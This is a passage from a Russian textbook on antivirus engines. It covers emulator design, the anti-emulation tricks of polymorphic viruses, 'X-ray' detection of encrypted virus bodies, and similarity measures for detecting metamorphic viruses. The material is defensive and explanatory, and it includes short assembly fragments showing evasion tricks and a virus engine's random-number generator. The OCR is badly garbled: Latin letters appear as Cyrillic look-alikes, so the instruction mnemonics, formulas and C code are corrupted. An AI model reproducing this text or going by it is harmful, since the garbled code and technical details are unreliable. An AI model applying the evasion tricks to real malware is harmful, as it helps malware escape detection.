равен ОҒЬ. Кроме того, двухбайтовьте кодм операции имеют командн
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вьгаислений с плаваюшей запятой1. Наконец, сушествуют разновид- 
ности команд, код операции которнх занимает евде несколько допол- 
нительних битов в поле «Ке§/Орсос1е» следуюшего байта.

Байт «Мос1 К/М». Он определяет режим адресации к памяти и со- 
стоит из трех полей:

О поле «тос!» (бита 6 и 7) определяет вид операнда (00 -  адре- 
сация без смешения вида [ЕВХ] или [ВХ+31], 01 -  использу- 
ется 8-битовое смешение вида [ВХ+51+0ҒҒЬ], 10 -  адресация 
с 16- или 32-битовьш смешением, 11 -  в поле «г/ш» указан ре- 
гистровьш операнд);

О  поле «ге§/орсос1е» (бити 3-5) определяет либо код регистра, 
либо содержит три дополнительннх бита кода операции;

О поле «г/т> (см. табл. 7.6) может обозначать регистр (в 32-би- 
товом режиме) либо используется вместе с полем «тос!» для 
формирования режима адресации (в 16-битовом режиме).

Таблица 7.6. Режимь» адресации
«г/т» 16бит 32 бита Примечание

000 [ВХ+31] [ЕАХ]
001 [ВХ+Э!] [ЕСХ]
010 [ВР+51] [ЕОХ]
011 [ВР+01] [ЕВХ]
100 [31]
101 [□П [ЕВР]
110 [ВР] [Е51] При тос1=0 используется 16-битовое смешение
111 [ВХ] [ЕЭ1] При тос!=0 используются «5гЬ» и 32-битовое 

смешение

Поле «51В». Оно применяется для поддержки расширенннх ре- 
жимов 32-битовой адресации (например, таких как в команде «ШС 
[ЕАХ+ЕВХ*8]»):

О поле «55» определяет коэффициент масштабирования (2,4 или 8);
О  поле «ик1ех» определяет регистр индекса;
О поле «Ьазе» определяет регистр базн.
Полньш адрес при этом формируется как Ьазе+1гк1ех*55.
Наконец, непосредственнне операндн и смешения внутри сегмен- 

тов также указнваются внутри командн -  для этой цели служат соот- 
ветствуюшие поля длиной до 4 байтов.

1 В ранних чипсетах от 1п(:е1 они вмполнялись отдельной микросхемой -  
«арифметическим согг[)оцессором».
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Подробнме правила кодирования команд процессора можно най- 

ти в специальнмх справочниках -  документах от производителей 
процессоров (например, в 41п1е1 64 апё 1А-32 АгсЬ11ес1иге5 ЗоЙлуаге 
Оеуе1орег’5 Мапиа!»).

Результатом дизассемблирования инструкции должно бьггь полу- 
чение следуювдих сведений:

О  откуда извлекаются даннме, с которнми манипулирует ин- 
струкция;

О  какой тип действий производится над данньши;
О  куда помевдается результат вмполнения инструкции.
В фирменной документации содержатся подробнме описания ра- 

ботм команд, вьшолняювдих определенннй тип действий:
О что происходит с данньши в результате этих действий;
О  какие битн регистра флагов изменяются;
О изменяются ли явно не адресуемме области памяти (например, 

стек);
О  изменяется ли режим работн процессора и его подсистем и т. п.
Для примера, вот так вмглядит описание на псевдокоде работн ко- 

мандн «ХЬАТ».
/«  Псевдокод командм Х 1 АТ *./
1Ғ Айа гезз31ге=16 

ТНЕН
А1_<-(05: ВХ+2егоЕхгепс(А1));

Е1ЁЕ 1Ғ (АОЙгез5Й1ге=32)
А1_<-(03: ЕВХ+2егоЕхгепс(А1);
Ғ1; /*  Установка флагов*/

ЕЬЗЕ (Айаге5з31ге=64)
А1<-(КВХ+гегоЕх1:еяа(А1));

Ғ1;

Есть командн, описание работн которнх занимает несколько стра- 
ниц (напр!шер, «ШТ» или «КЕТ»),

Все эти сведения необходимн для точного моделирования внпол- 
нения команд. При этом приходится моделировать и внутреннюю 
структуру процессора (регистрн, очереди и т. п.), оперативную и дол- 
говременную память компьютера, некоторне внешние устройства и 
прочее. Правда, в силу объемности и сложности это не всегда удается.

7.4.5.З. Противодействие эмуляции
Могут ли авторн полиморфннх вирусов противодействовать рабо- 

те антивирусного эмулятора? Да, разумеется.
Первая группа методов противодействия направлена на использо- 

вание слабостей дизассемблера.
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Наиболее обшей проблемой является неполнота охвата системм 
команд процессора. Ведь с кажднм новьш поколением процессор- 
нмх чипов к ней добавлялись и добавляются новне группм команд. 
Например, уже процессор 180186 обогатил базовую архитектуру воз- 
можностью внполнения команд «РИ5НА/РОРА»; вместе с 180286 
появились командн заадиаденного режима; 180386ВХ научился 
самостоятельно вьшолнять командн с плаваюшей запятой (ҒР11); 
180486 и Репйит добавили множество новнх служебннх команд типа 
«СРИГО» и «К.ОТ5С»; современнне версии процессоров привнесли 
расширения ММХ, 55Е, ЗОполу и т. д. Кроме того, смена поколений 
процессоров приводит не только к появлению новнх инструкций, но 
и к исчезновению старнх. Так, например, еше в 1980-х годах пропа- 
ли инструкции вида «МОУ С5, АХ» и «РОР С5», сушествовавшие в 
18086/18088 и даже использовавшиеся при написании первнх вир.у- 
сов. Только процессорами 180286 и 18ОЗ86 поддерживались, а потом 
исчезли из системн команд инструкции «ЮАГЗАЬЬ» (код 050ҒЬ) и 
«ЮАГЗАЬЬО» (код 070ҒЬ). Наиболее загадочно внглядит ситуация с 
инструкцией «5АС.Ь>> (код ОПбЬ), сведения о которой то появляются, 
то пропадают из официальной документации 1пСе1, несмотря на то что 
сама она прекрасно распознается и внполняется всеми поколениями 
процессоров. Современнне вирусн (например, \У т32 .5аШ у) вклю- 
чают в свой код «редкие» командн, надеясь тем самьш сбить с толку 
дизассемблируюшую подсистему эмуляторов.

Другой проблемой дизассемблеров является незнание «априорно- 
го контекста», то есть условий внполнения анализируемой програм- 
мн. Одна и та же последовательность байтов может бнть дизассемб- 
лирована по-разному в зависимости от режима работн процессора. 
Например, программа, запушенная в среде М 5-В05, может сначала 
работать в 16-битовом реальном режиме, а потом переключиться 
в 32-битовьш зашишенньга. В первом случае последовательность 
байтов «ҒҒЬ 04 58Ь» будет проинтерпретирована как пара команд 
«ШС/РОР»:
ҒҒ 04 1ПС [31]
58 рор ах

А во втором случае дизассемблер должен рассматривать ее как 
единственную команду «ШС» со «сложннм» методом адресации:
ҒҒ 04 58 1 пс [еах+еЬх*2]

Вторая группа методов противодействпя эмуляции пнтается по- 
мешать правильному моделированию внполнения команд.
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Прежде всего следует отметить, что моделируклцая часть эмулято- 

ра не всегда вьшолняет операции над данннми в точном соответствии 
со спецификацией. Это связано как со вполне понятннм желанием 
вирусологов упростить себе работу, так и с неполнотой или неодно- 
эначностью описаний, приведенньгх в фирменной документации. Так, 
например, широко известен трюк вида
ЙЬ 66п ; Префикс переназначения рэзмера операнда
гетп ; Эта коканда неявно работает о данннми в стеке

заставляювдий процессор снимать с вершинн стека «неправильное» 
количество слов: два слова вместо одного в 16-битовом режиме и одно 
слово вместо двух -  в 32-битовом. Если моделируюшая часть эмуля- 
тора не знает этого обстоятельства, то она не сможет правильно ви- 
полнить команду. Другой пример -  очень похожие инструкции
8С СО яоу  еах, ев ; Обнуляет старшее слово приеиникэ
8С 00 шоу [еах ], ез ; Не трогает старшее слово приемника

заносят в операнд-приемник разнне даннне. «Тонкости» подобного 
рода могут встретиться даже в хорошо изученннх и часто используе- 
мнх командах. Чтобн их учесть, необходимо глубокое изучение архи- 
тектурн процессора.

Еше одна проблема возникает у моделируюшей подсистемн, когда 
она не знает условий вьшолнения командн, в частности типа процес- 
сора. Ранее (в главе, посвягценной М5-005-вирусам), упоминалось, 
что младшие модели процессоров 1пСе1 содержали «конвейер» -  бу- 
ферную память, в которую загружался фрагмент вьшолняемого кода. 
Это означало, что если уже после заполнения буфера код окажется 
видоизменен, то процессор будет внполнять старне, немодифициро- 
ваннне командн. Но подобная конвейернизация исчезла вместе с по- 
явлением процессора Репйигп. Получается, что один и тот же участок 
кода на процессорах разннх поколений может внполняться абсолют- 
но по-разному! Например, после внполнения следуюшего фрагмента 
на 18ОЗ86 в регистре ЕАХ останется значение 0, а процессор Реийит 
поместит туда единицу.

Моу 006, 1
с!Ь ОВЗп : Код  командь!. . .

й с с  с с  00000000(1  ; . . .ш о «  е а х , 0

Также огромное количество проблем моделируюшей подсистемн 
связано с невозможностью полноценного моделирования ими окру- 
жаюшей средн:
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О операционной системн;
О служебнмх областей памяти;
О  внешних устройств.
Так, например, полиморфние вирусм часто используют в своих 

расшифровьшаюших фрагаентах:
О константн -  результатн работи АР1-функций;
О неявнне переходн в другую точку программн путем установки 

собственннх 5ЕН-обра6отчиков и генерации исключений;
О стохастический характер поведения значений, генерируемнх 

таймерами (команда АЬ, 40Ь» в реальном режиме процес- 
сора) и счетчиками тактов (команда «К.ОТ5С»).

Наконец, стоит упомянутъ «минирование» диска программами, ко- 
торне содержат бесконечнне циклн типа:

С11

1оорс: 1оорс

Эмулятор, добросовестно моделируюший работу всех команд, дол- 
жен «повиснуть» вместе с такой программой. Впрочем, абсолютно 
«законопослушннх» эмуляторов на свете немного, и в данном случае 
это -  благо.

7.45.4. «Глубина»- трассировки и эмуляции
Неминуемо должен бнть исследован вопрос: когда следует прекра- 

шать трассировку или эмуляцию подозрительной программн. Усло- 
вий завершения трассировки и эмуляции несколько:

О в указанной точке программн обнаружена искомая сигнатура;
О превьппено предельное количество трассируемнх или эмули- 

руемнх команд (в качестве этого предела целесообразно брать 
максимальное поле Т из всех сигнатурннх записей, находя- 
шихся в распоряжении антивируса);

О превьпнено время, отведенное на эмуляцию или трассировку 
одной программь1 (вьшолнение этого условия позволяет бо- 
роться с зацикливанием антивируса);

О программа завершила работу -  либо штатно, либо в результате 
ошибки;

О встретились участки кода, характернне для незашифрованной 
программн (например, обраодения к операционной системе пу- 
тем «ШТ 21Ь» или АРЬфункций).

Впрочем, последнее условие надо применять с осторожностью, по- 
скольку авторн полиморфннх вирусов могут специально вставить
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в цикл расшифровки обрашения к операционной системе. С другой 
сторонм, зачем «вхолостую» трассировать и эмулировать заведомо 
незашифрованную программу? Вмвод о необходимости прекраше- 
ния трассировки или эмуляции подобннх программ следует делать 
на основании многих факторов, в числе которнх:

О «похожесть» на код, сформированньш не вручную, а компиля- 
тором или «упаковшиком» (с этой целью можно добавить к ви- 
русной базе данннх «сигнатурн» для Вог1ап<1 Ое1рЬ1, М5 У15иа1 
С/С++, 11РХ, АзРаск и т. п.);

О отсутствие или прекрашение модификации собственного кода;
О статистические закономерности кода (см. ниже).

7.4.6. «Рентгеноскопия» полиморфнмх вирусов
Практически кажднй полиморфньш вирус обладает «слабостями», 
которне можно использовать для его детектирования. Известннй ви- 
русолог Ре1ег Ғегпе назвал соответствуюшую систему методов «рент- 
геноскопией» («Х-Каут£») вирусннх тел [55].

Наиболее обшая уязвимость полиморфиков связана с используе- 
мьм принципом шифрования основного тела. В большинстве случа- 
ев оно (шифрование) внполняется в соответствии с правилом 
В' = В»К,
где В -  старое значение элемента кода (байта, слова или двойного 
слова), В  -  его новое, зашифрованное значение; К -  некое число, 
играюшее роль шифровального «ключа»; «•» -  арифметическая 
или логическая операция. Важно, что для операции «•» обязательно 
должна сушествовать обратная ей операция «"•», так что расшифро- 
вание всегда может бнть внполнено по правилу 
В = В'»К.

Чаше всего в качестве операции шифрования используется «ХОК» 
(она же «исключаюшее ИЛИ» и «сложение по модулю 2»), поскольку 
обратной к ней является она же сама. Заметно реже встречается пара 
«АВО/811В», не говоря уже о других комбинациях. Используя для 
каждой копии полиморфного вируса разнне значения К. автор ви- 
руса получает индивидуальннм образом зашифрованннй программ- 
ннй код, что не позволяет вьшолнять для него сигнатурного детекти- 
рования. Тем не менее у описанного принципа шифрования имеются 
«изъянн», которне давно и с успехом используются вирусологами.

Наиболее просто детектируются полиморфнне вирусн, которне 
используют в качестве «ключа» К  случайную константу, однократно
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генерируем>;ю, например, при помоши таймера. Если исходнмй код 
тела вируса состоял из элементов Ви В2 и В3, то после полиморфного 
шифрования они превратятся в В\ = В,*К, В2 = В2*К и В'3 = В3*К, 
причем для разншх копий вируса эти наборн элементов не будут со- 
впадать. Тем не менее если мн внполним операцию расшифрования 
над любнми двумя соседними элементами В' и В'+1, то получим

= қ - в и ,  = К) = ( В ТВ ,^ )-(К Т К) = в,
Легко видеть, что итоговое внражение не зависит более от «клю- 

ча» К  и, значит, будет постоянньш для любой копии полиморфного 
вируса. Разумеется, набор из нескольких последовательньгх 5, можно 
и нужно использовать в качестве своего рода «редуцированной» сиг- 
натурьх.

Немногим сложней осушествляется детектирование полиморфннх 
вирусов, в которьгх «ключ» изменяется по закону Км  = К,*Р, где Р -  
константа. Вэтомсл_учаезначения.Ҳ = .б'т  В'м  = (В{ • К)Т(В1+{*К(* Р) = 
= В,.“ В(Ч»Ри5м  = 5 1+1т В1+2т Рвсе еше зависят от Р, а постоянная сиг- 
натура (I, = 5;т 51+1 -  уже нет.

Естественннм для вирусописателей является усложнение закона, 
по которому изменяется «ключ» Кг. Для этого используются самне 
разнообразнне арифметические и логические операции: «АВВ», 
•«5ЪТВ», -«ХОК», «КОЬ», «КОК», «НЕС», «НОТ» и прочие -  в самнх 
разннх сочетаниях. Фактически вирусописатели пнтаются таким об- 
разом «сочинить» датчик псевдослучайннх чисел, которнй обеспе- 
чивал бн равномерное распределение и неповторяемость значений 
«ключа». Вот, например, датчик, использованннй в полиморфном 
«движке» 11ЬТ1М1}ТЕ:

; “ Плохой" дзтчик. псевдослучай.нух чисвл
СеТ_Яаяа:

риз(1 сх 
ризй ох
#о у  ах, сз:[гапс_зеей+ор] 
тоу сх, ОВЕАОП 
ши! сх
хог ах, СОАСАп 
гог ах, 1
*оу сз: [гапс_зееО+Ьр]. ах
рор йх 
рор сх
геи

Несмотря на внешнюю «навороченность» алгоритма, датчик гене- 
рирует всего 532 уникальнмх значения, а потом цикл повторяется.
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Это означает, например, что значения 5,- = В( ~  ДЧ532 можно исполь- 
зовать в качестве не зависяшей от «ключа» сигнатурм. Кроме того, 
можно просто использовать 532 различнне сигнатурм для вирусов 
на основе этого «движка». Очевидно, автор ПЬТ1МИТЕ и его много- 
численнне «единомьнпленники> не знакомн с тезисом знаменитого 
Д. Кнута [17]:

... Случайние числа нельзя вь/рабать/вать с помошью случайно
вь/бранного алгоритма. Нужна какая-нибудь теория...

ТотжеД. Кнуттеоретическиисследовал «линейньш конгруэнтньга 
метод» генерации псевдослучайнмх чисел -  самнй простой из «хо- 
роших» и одновременно самнй «хороший» из простнх. Этот метод 
основан на формуле 
Қ +1 = (Л х + С)шой М,
и при правильно внбранннх коэффициентах А, С и М  он генерирует 
не менее Мразличннх чисел, распределенннх равномерно на интер- 
вале [0...М-1]. Обьмно в качестве М используют 28,2 16 или 232.

Зная «правильную» сигнатуру 5 = {5„ 52,5 3}, вирусолог может вьх- 
числить для подозрительной программи значения К, = 5,ТВ'. В слу- 
чае если вирус бнл зашифрован «бегушим ключом», полученннм 
при помоши «линейного конгруэнтного метода», значения К{ будчт 
представлять собой последовательность, в которой каждьш элемент 
получен из предмдушего по однозначному правилу. В противном слу- 
чае они окажутся просто числовьш «мусором». Можно ли как-нибудь 
отличить «псевдослз^чайнне числа>> от «мусора»? Для этого придется 
решить систему сравнений:
(Л X /С, + С) шой М  = К 2 

• (А х К , + С) тос) М  = К а 
(Л хК ;! + С')то(! М = К г>

Вьгчитая друг из др>та две последние строки, получим сравнение 
А х (К , -  К2) т о а  М = (К3 -  К4),
которое при фиксированном М  легко решается подбором или при 
помоши «модифицированного алгоритма Евклида» (его можно без 
проблем найти в учебниках по теории чисел или в статьях, посвя- 
шеннмх методу шифрования К5А). Далее полученное значение А 
подставляется в любое сравнение системн, что позволяет получить 
С. Зная А. С и М, можно рассчитать сколь угодно длинную последо-
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вательность К{ и проверить, не совпадают ли все В{ = В'ТК( с соответ- 
ствуюшими элементами 5( «правильной» сигнатурм.

Ну и, наконец, в рукаве вирусолога всегда присутствует «козьф- 
ной туз» в виде метода «грубой силм» («ЬгиСе £огсе»). Давайте ехце 
раз внимательно посмотрим на расшифроввдики, сгенерированнне 
вирусом Вап<1ег8па1сЬ (их листинги также приведенм в разделе, по- 
свяхценном полиморфннм вирусам для М 5-005). Трудно не обра- 
тить внимания, что, несмотря на разнообразие организации этих рас- 
шифроввдиков, собственно принцип шифрования-расшифрования 
вирусного тела крайне примитивен. В этом можно дополнительно 
удостовериться, если раскодировать, дизассемблировать и изучить 
тело вируса. Вариантов всего пять: побайтное сложение с «ключом», 
внчитание, циклический сдвиг вправо-влево и операция «исклю- 
чаювдее ИЛИ». Отсчитаем от конца «подозрительной» программн 
934 байта (такова длина вируса), прибавим 53 (такова максимальная 
длина расшифроввдика) и получим файловую позицию зашифро- 
ванного тела. А дальше поступим очень просто, поочередно пнта- 
ясь применить различнне методн расшифровки со всевозможньши 
ключами:
Тог (кеу=0;кеу<256; кеу++)
{

‘ о г  (1=0 ; 1<У1 г1.еп;д++) V Iги з [1 ]+=кеу

тог ( 1=0 ; 1<\/1г1.епл++) У1 гив[1 ]-=кеу

/» И таг. далее еше 4 метода
(

Рано или поздно один из «ключей» подойдет к «замочной скважи- 
не»!

К сожалению, многократное шифрование тела вируса с использо- 
ванием различннх алгоритмов и ключей препятствует применению 
методов «рентгеноскопирования». Впрочем, полиморфннх вирусов, 
применяюших этот прием, не так уж и много.

7.4.7. Метаморфнме вирусм и их детектирование
Ранее в главе, посвявденной полиморфннм вирусам для М 5-005, 
уже онли рассмотренн принципн, лежавдие в основе работн мета- 
морфннх вирусов. Фактически «метаморфизм» появился, когда уда- 
лось совместить и применить не только к расшифроввдику, а ко всему 
вирусному коду «классические» полиморфнне технологии:

/* Цикл по эначениям ключа */

/*  Расшифровать */
/* Сравнить с сигнатурой »/
/*  Зэаифровэть снова */
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О замена команд и блоков их функциональнмми эквивалентами 

(например, «МОУ ЕАХ, 0» на «Р115Н О/РОР АХ» или «ХОК 
ЕАХ, ЕАХ»);

О случайная перестановка как отдельнмх команд, так и целнх 
блоков («пермутация»);

О  «разбавление» кода вируса «мусором» (командами и группами 
команд, не влияюшими на алгоритм).

Также современнме метаморфнме вирусн используют и инне тех- 
нологии усложнения детектирования:

О «сплайсинг» (перемешивание кода вируса с кодом зараженной 
программн);

О  ЕРО -  размевдение первой командн вируса в случайной пози- 
ции внутри зараженной программн и т. п.

Все это приводит к тому, что ни в какой момент времени ни на дис- 
ке, ни в памяти не оказнвается фрагмента вируса, сохраняюшегося 
постоянньм от копии к копии и способного играть роль сигнату- 
рн. Примерами «метаморфиков» являются Р1у.3360, УСС.8<хе1ка, 
\У ш 32.Еуо 1, \Уш 32 .2регт, \¥1п32.2т18Ь, \\1п32.В18<:го, \У т3 2 . 
Ме4арЬог и прочие. Всего их около двух-трех десятков, но крови ви- 
русологам они портят немало [65].

Магистральное направление борьбм с метаморфиками основано 
на сравнении двух алгоритмов:

О вьшолняюшегося подозрительной программой;
О «алгоритмического образца», характерного для конкретного 

вируса.
Этот «алгоритмический образец» можно считать своего рода «сиг- 

натурой» метаморфного вируса. Теоретически корректно сравнить 
два алгоритма на эквивалентность можно единственннм способом: 
сгенерировать всевозможнне вариантн исходннх данннх и прове- 
рить, всегда ли совпадают результати работа «подозрительного» и 
«образцового» алгоритмов. Разумеется, на практике такой подход 
нереализуем, поэтому в реальности используются всяческие «упро- 
хцения».

Увм. даже «упрошеннше» методики детектирования метаморфннх 
вирусов очень ресурсоемки: требуют больших объемов оперативной 
памяти и долго работают. Вот почему попнтка найти в подозритель- 
ной программе метаморфннй вирус внполняется только в случае, 
если прочими методами («сигнатурнмм», «эвристическим» и т. п.) 
доказано, что эта программа не заражена внрусами других типов, не 
скомпонована при помоши распространенннх систем программиро-
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вания (типа \%иа1 С/С++, Вог1апс1 Ве1рЬ1, Вог1апс1 С/С++ ВшМег и 
т. п.), не упакована одним из распространеннмх упаковшиков (типа 
Азраск, ПРХ и прочих) и вообше «не похожа» на «нормальную».

7.4.7.1. Этап «виделения и сбора характеристик*■
Цель этого этапа: получить представление вирусного кода в виде 

«графа управления» (сопЬго1 §гарЬ), узлами которого являются от- 
дельнме командм и функциональнме блоки, а ребрами -  переходм и 
внзовн подпрограмм. При этом активно используются дизассемблер 
и -  если фрагментм кода «перемешанн» -  эмулятор программного 
кода. Например, вот так может внглядеть граф управления для од- 
ного из экземпляров пермутированного ( «перемешанного») расшиф- 
ровшика вируса ОпеНа1£.4455:

Рис. 7 .39  ❖ Граф управления 
расшифровуваюидего фрагмента вируса ОпеНаИ

Однако дальнейшее использование «излишне подробного» графа 
сопряжено со значительннми сложностями, поэтому желательно ми- 
нимизировать граф: избавиться от «мусора», уменьшить количество 
узлов, упростить топологию и т. п. Для этого применяются самьте раз- 
нне подходн.
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Группа наиболее «продвинутнх» методик связана с перетрансля- 

цией программн на некий «промежуто 1шьхй> язнк внсокого уровня 
(1Ь -  тЬегтеЛаСе 1ап§иа£е), используюший малое количество ко- 
манд. Наиболее удобен язнк, описанньш в работе «Использование 
нормализации кода для борьбн с самомодифицируювдимися вредо- 
носньши программами» итальянских авторов Данило Бручи, Лорен- 
цо Мартиньоли и Маттиа Монга [35]. В статье рассматривается, как 
на этапе перетрансляции и дальнейшей обработки листинга упро- 
Шаются арифметические и логические внражения, удаляются «бес- 
смнсленнне» (то есть не воздействуюшие на итоговнй результат) 
командн и прочее. Итоговое представление алгоритма оказнвается 
в значительной степени избавлено от «мусора» и приведено к едино- 
образному, очень простому виду.

рореах 
(еа е6\, [еЬр]. 
аесеЬх

г10=[г11]
г11=г11+4

г0в=г12

1тр=г08
г08=г08-1
1ЧҒ=г08@[31:31]
2Ғ=[г08=0?1:0]
СҒ=(?1тр@[31:31])

Рис. 7 .40  ❖ Перетрансляция машинного кода 
в промежуточний язик

Сушествуют и менее трудоемкие методики упровдения графа 
управления [59]. Обьгчно они предусматривают дизассемблирование 
кода, удаление из листинга «правнх частей» всех инстр)тсций и остав- 
ление только «кодов операций». В этом случае, например, командн 
«МОУ [123456], ЕАХ» и «МОУ ЕАХ, [123456]» окажутся неразличи- 
мьши. Например, один из экземпляров полиморфного расшифров- 
шика вируса Вапс1ег8па1сЬ (см. раздел, посвяшенньш полиморфньш 
вирусам для М 5-БОЗ) окажется представлен в виде:

Рис. 7.41 ❖ Графуправления, 
состояший из мнемоник кодов операций
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Более того, ряд методик предусматривают дальнейшее отбрасьша- 
ние «редких» команд: согласно одной из таких методик, в листинге 
остаются 36 наиболее «популярнмх» кодов операций (теряется 0,7% 
кода), а согласно другой -  только 14 (теряются около 11% кода). Наи- 
более радикальная методика предлагает группировку оставшихся ин- 
струкций в несколько классов, например: «А -  командм переснлки 
данньгх» (МОУ, Р115Н, РО Ри др.), «В -  арифметико-логические ко- 
мандн» (АВБ, 01У, ХОК, КОЬ и др.), «С -  внзовн операционной 
системм» (межсегментнмй САЬЬ, 1КТ, 5У5САЬЬ и прочие), «ГЗ -  
вн>трисегментнне условнме и безусловнме переходн» и «Е -  прочие 
командн». Расшифровшик вируса Вап<1ег$па(:сЬ окажется представ- 
лен совсем просто:

Рис. 7 .42  ❖ Графуправления, состояший 
из сгруппированних мнемоник кодов операций

Наконец, в работе П. В. Збицкого «Функциональная сигнатура 
компьютерннх вирусов» предлагается оставлять в графе управления 
только внзовн операционной системн и переходн [8]. В этом слу- 
чае из графа пропадают все подробности, относяшиеся к конкретной 
разновидности вируса, зато остается «костяк», обший для большой 
группн однотипннх вирусов.

В принципе, если расставить фрагментн алгоритма в «правиль- 
ном» порядке, то можно избавиться даже от стрелок и рассматривать 
итог как последовательность символов, то есть как «строку». И срав- 
нение алгоритмов сведется к сравнению двух «строк».

7.4.72. Этап «обработки и анализа>
На этом этапе производится сопоставление алгоритма, полученно- 

го в виде «графа» или «строки», и «образца», характерного для кон- 
кретного вируса. Обнчно результатом работн является некоторое 
число -  «коэффициентпохожести».

Итальянские авторн предлагают с этой целью просто внчислять 
Евклидово расстояние между «подозрительннм графом» и «образ- 
цом» [35]:
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2

где тга, и т' -  значения специфических признаков в графе подозри- 
тельной программн и «образце» соответственно. В качестве призна- 
ков они предлагают использовать:

О яг, -  количество вершин графа;
О  т2 -  количество ребер графа;
О т3 -  количество переходов по конкретному адресу (например,

«ДМР 12345678»);
О т4 -  количество «вьгчисляемьхх» переходов (например, «^МР

О т5 -  количество внзовов конкретнмх подпрограмм;
О  т6 -  количество «вмчисляемнх» внзовов подпрограмм;
О т7 -  количество условнмх переходов.
Экспериментм с дизассемблированннми экземплярами -«обфусци- 

рованннх» программ, написанннх на язьпсах внсокого уровня, под- 
твердили эффективность «итальянского» подхода. Однако с целью 
детектирования метаморфннх вирусов, написанннх на язьпсе ассемб- 
лера, представляется полезннм добавление в список признаков еше 
одного члена: тй -  обрашения к операционной системе.

Еше одним способом сравнения графа управления с «образцом» 
является внчисление «расстояння Левенштейна», то есть количест- 
ва элементарннх операций типа «вставка», «удаление» и «замена», 
достаточнмх для преврашения одной последовательности вершин 
графа в другую. Этот подход предусматривает представление гра- 
фа управления в виде «строки», причем командн переходов, вн- 
зовов подпрограмм и обравдений к операционной системе рассмат- 
риваются в качестве рядовнх символов. Например, для сравнения 
графов управления двух полиморфннх расшифровшиков вируса 
ВапйегепаЬсЬ (см. главу, посвяшенную М5-1Ю5-вирусам) придется 
вьгчислять расстояние между строками «ЕВАААААЕВАВАЕВВ» и 
«Ғ£АААЕААЕАВЕЕВЕВААЭ». Это можно сделать, например, так:
1П( Л11Л1ГГ;У1Г!(1пг а,1П1 Ь,1ПТ с) {

1пт ш1п=а; 1Т(Ь<п1п) и1П='о; 1Т(с<Рап) Ш1п=с; геТигп пп;
(

1ПТ 1еу_й1зг(сИаг * 5 , с п а г - т )  {
ШТ к, 1 , ], п, гт|, соз1,*й, Й151; 
п=5Тг1еп(5); п=5Тг1еп(1:);
0=*а11ас((31гесТ(1пТ) )-(ш+1 )*(п+ 1)); в*+; п++;

ЕАХ»);
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то г(К=0;к<п;к++) 0 [ к]=к; 
тог(к=0;к<®;К++) б[к»п]=к;

Т о г ( 1 = 1 ; 1 < п ; 1 + + )

Тог(]= 1 ;]< я ;]++) !
1т(з[1-1]==г[]-1]) соз1:=0; е1зе созТ=1;
Й[]*п+1]=га1п1шии(с1[(]-1)*п+1]+1,СГ]*п+1-1]+1,а[(]-1)*п+1-1]+С05Т);

)
й 1 5 Т = с) [ п * гп- 1 ] ;  Т г е е ( й ) ;  г е Т и г г !  с 1 з т ;

)
Нетрудно проверить, что расстояние Левенштейна для данного 

случая равно 8.
Значительной популярностью среди вирусологов и исследова- 

телей пользуется методика расчета «похожести» (51тИап1;у) двух 
«строк», разработанная сотрудниками Университета Сан-Хосе и рас- 
смотренная, например, в работе В. Вонга «Анализ и детектирование 
метаморфнмх компьютерннх вирусов» [74]. Суть ее заключается в 
том, чтобн внделять в «подозрительном» алгоритме и «образце» все- 
возможнне «3-граммн» и подчитнвать количество «похожих». При 
этом «похожими» считаются «З-граммн», которне содержат одни и 
те же элементн, расположеннне в любом порядке. Например, «АВЕ» 
и «ЕВА» считаются «похожими», а «АВЕ» и «АВА» -  нет. Кроме того, 
фиксируются номера позиций, в которьгх встречаются такие «3-грам- 
мн». Они служат координатами помечаемнх точек декартового про- 
странства. Легко видеть, что критерием «полной тождественности» 
дв)тс строк является заполненная «фишками» главная диагональ, 
а о «похожести» свидетельствует наличие отрезков прямнх линий, 
параллельннх главной диагонали. Исследователи из Сан-Хосе счита- 
ют, что слишком короткие отрезки представляют собой «случайннй 
шум», и предлагают исключать из рассмотрения те из них, которне 
состоят из менее чем 5 «фишек». Впрочем, В. Вонг и его коллеги экс- 
периментировали на «обфусцированннх» экземплярах программ, 
написанннх на язнках внсокого уровня. Для метаморфннх же виру- 
сов, написанннх на язьже ассемблера, вероятно, можно снизить порог 
отбраснвания до 3 или даже 2 «фишек».

В качестве числового «коэффициента похожести» можно рассмат- 
ривать, например, отношение суммарной длинн отрезков к длине глав- 
ной диагонали или к обшему количеству всевозможннх «3-грамм».

При детектировании метаморфннх вирусов довольно эффектив- 
на также группа методов, основанная на представлении алгоритма в 
виде «Марковской цепи». Такой подход предполагает, что работа ал- 
горитма рассматриваетея в виде последовательной сменн состояний,
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Рис. 7 .43  ❖ Сравнение кодов на «близость»: 
а) близость полиморфного кода с самим собой; 

б) близость двух копий расшифровидика вируса ВапйегзпаЮИ

причем переход из состояния в состояние происходит с некоторой 
вероятностью, зависяшей только от номера состояния.

Например, Марковской цепью можно описать перемевдение лифта 
в многоэтажном здании с состояниями вида: «лифт стоит на этаже 
номер такой-то>>.

Важньш подмножеством Марковских цепей являются «скрьть/е 
Марковские модели», для котормх:

О количество состояний и вероятности переходов между ними из- 
начально неизвестньт, а процесс сменм состояний не наблюдаем;
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О при переходе системн в определенное состояние наблюдается 
некоторое собьггае;

О с одним состоянием могут бнть связанн несколько собнтий, 
происходявдих с разньши вероятностями;

О  одно и то же собьггие может порождаться различннми состоя- 
ниями.

В примере с многоэтажннм домом наблюдатель не знает, на каком 
этаже остановился лифт, но ему известнн собнтия: «в кабину зашли 
люди» и «кабину покинули люди». Накопив определенную статисти- 
ку собьггий, наблюдатель может определить: сколько этажей в доме; 
на каких этажах живут домоседн, а на каких -  •шутешественники»; 
какова вероятность того, что кабина остановилась на определенном 
этаже, и т. п. В обшем, наблюдателю придется решать задачи, сводя- 
шиеся к одному из трех класеов:

О определить, насколько текуюцая последовательность собьггий 
соответствует стгруктуре и параметрам скрнтой части модели;

О определить траекторию скрнтнх переходов из состояния в со- 
стояние, приведшее к наблюдаемой последовательности соби- 
тий;

О  определить структуру и параметрн скрнтой части модели (ко- 
личество состояний и вероятности переходов из состояние 
в состояние).

Теоретически эти задачи могуг бнть решенн полннм перебором 
различннх вариантов построения скрнтой Марковской модели, но 
вьгаислительная сложность подобннх решений растет по экспоненте. 
Поэтому на практике используются «бнстрне» алгоритмн: «вперед- 
назад» для первой задачи, «алгоритм Витерби» -  для второй и «алго- 
ритм Баума-Уэлча» для третьей. Алгоритмн не слишком сложнн, но 
изучать их лучше, используя специальнне справочники и учебники. 
Применение же скрнтнх Марковских моделей для детектирования

Рис. 7 .45  ❖ Скритая 
марковская модель
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метаморфнмх вирусов состоит в следуклцем. Предварительно виру- 
солог генерирует большое количество (например, несколько сотен 
